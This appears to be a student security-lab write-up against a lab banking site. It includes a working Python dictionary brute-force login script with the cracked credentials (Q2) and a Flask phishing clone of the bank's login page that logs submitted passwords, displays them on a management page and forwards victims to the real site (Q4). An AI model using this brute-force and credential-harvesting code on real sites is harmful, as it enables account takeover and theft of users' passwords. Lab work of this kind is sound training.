Casey Provitera, cbp21006, Eric Pinos

Q1:

Username:

Kenneth100

Bank balance:

84274

Video:

As a separate file

Description:

We simply tunneled into the right place and then used the values given to log into the banking site.

Q2:

Password found:

These are the values that worked:

{'username': 'V\_Johniece100', 'password': 'october', 'submit': 'submit'}

Code:

import requests

import os

passwords = []

with open ('Q2dictionary.txt', 'r') as f:

for line in f:

line = line.strip()

passwords.append(line)

username = 'V\_Johniece100'

url = 'http://172.16.48.80:80'

for attempt in passwords:

print(f"trying {attempt}")

values = {'username':username, 'password':attempt, "submit":"submit"}

r = requests.post(url, data=values)

if "Logged" in r.text:

print(f"These are the values that worked: {values}")

break

A computer screen shot of text

Description automatically generated

The above screen shot is how we found out what the variables we need to set are called.

Description:

For this question we import a library called requests which allows you to go to websites and fill in variable names on that website in python. We use it to go to the localhost website and try every password in the password file we are given with the user name we are given, in attempt to login to the website for an account we do not own.

Q3:

Code:

from flask import Flask

app = Flask(\_\_name\_\_)

@app.route("/")

def printNames():

    return "<p>Team 14: Eric Pinos & Casey Provitera</p>"

if \_\_name\_\_ == '\_\_main\_\_':

    app.run(debug = True)

A screenshot of a computer

Description automatically generated

Description:

For this question we were tasked with displaying our team number and names. We can copy over some code that was given in a link from the pdf for this lab and simply change the test to be printed to out team number and names. There were no hold ups for this question.

Q4:

Code:

Python:

from flask import Flask, render\_template, request, redirect

app = Flask(\_\_name\_\_)

@app.route("/", methods=['POST', 'GET'])

def fakeBank():

    if request.method == 'POST':

        username = request.form.get('username')

        password = request.form.get('password')

        with open('usernamePass.txt', 'a') as f:

            f.write(f"\nusername = {username}, password = {password}")

        return redirect("http://localhost:2222", 307)

    return render\_template('index.html')

@app.route("/managment")

def managment():

    with open('usernamePass.txt', 'r') as f:

        toprint = f.read()

    return f"<p>{toprint}<p>"

if \_\_name\_\_ == '\_\_main\_\_':

    app.run(debug = True)

HTML:

<html lang="en"><head>

    <title>Husky Banking</title>

    <link rel="stylesheet" href="/static/base.css">

<link type="image/x-icon" rel="shortcut icon" href="static/images/Icon/johnathan.ico"></head>

<body style="background-image: url(&quot;static/images/Spring\_Fog.jpg&quot;);">

    <form id="mainHandler" method="POST" style="background-image: url(&quot;static/images/husky\_qa.jpg&quot;);">

        <h1 id="loginHeader">Husky Banking</h1>

        <p id="slogan">A bank where you know your money is in the right paws!</p>

        <!-- used for inheratance, this is where the baseLogin block will be placed -->

        <!-- login tag that prevents cross scripting -->

            <!--script>alert("Wrong username or password.");</script-->

        <!-- Input objects being called through the login class that is passed through -->

        <p id="userInput"> <label for="username">Username</label>: <input id="username" name="username" required="" size="32" type="text" value="cbp21006"> </p>

        <p id="passInput"> <label for="password">Password</label>: <input id="password" name="password" required="" size="32" type="password" value=""> </p>

        <p id="signIn"><input id="submit" name="submit" type="submit" value="Sign In"></p>

        <p id="customPage"> <input id="customPage" name="customPage" type="submit" value="Custom Page"></p>

        <!-- Where the login block is placed -->

    <div id="johnathan"></div>

    <!-- call the javascript file which changes the images within the login page -->

    <script src="/static/js/imageJS.js">

    </script>

    </form>

</body></html>

A computer screen shot of a city

Description automatically generated

Description:

For this question we had to make a spoofed website. This is a website that will look like a legitimate website but steals users information. First we needed to make it look like the original website. This is done by copying all the HTML source code and copying the file directory set up. We also need to remove the code that throws an error message if the username and password do not match so the spoofed site always works. We then need to redirect to the real site, that is very simply in fact it is a single line since the variables are already set to the right values from our spoofed site. Finally we need to make a management page that shows the usernames and passwords. For that we need to set up another route in out python code that just writes.

Q5:

Urls:

Background/snwdog.jpg

Blob/smile.jpg

A screenshot of a computer screen

Description automatically generated

Description:

To find the hidden images we need to go through some java code from within the custom page this is annoying but doable. After we found that we realized you could simply inspect the item and go to the source tabe and find the images by going through the directories. Once we find those images we simply update the code from 4 to have the image files that tie to the custom page which is a quick substitution.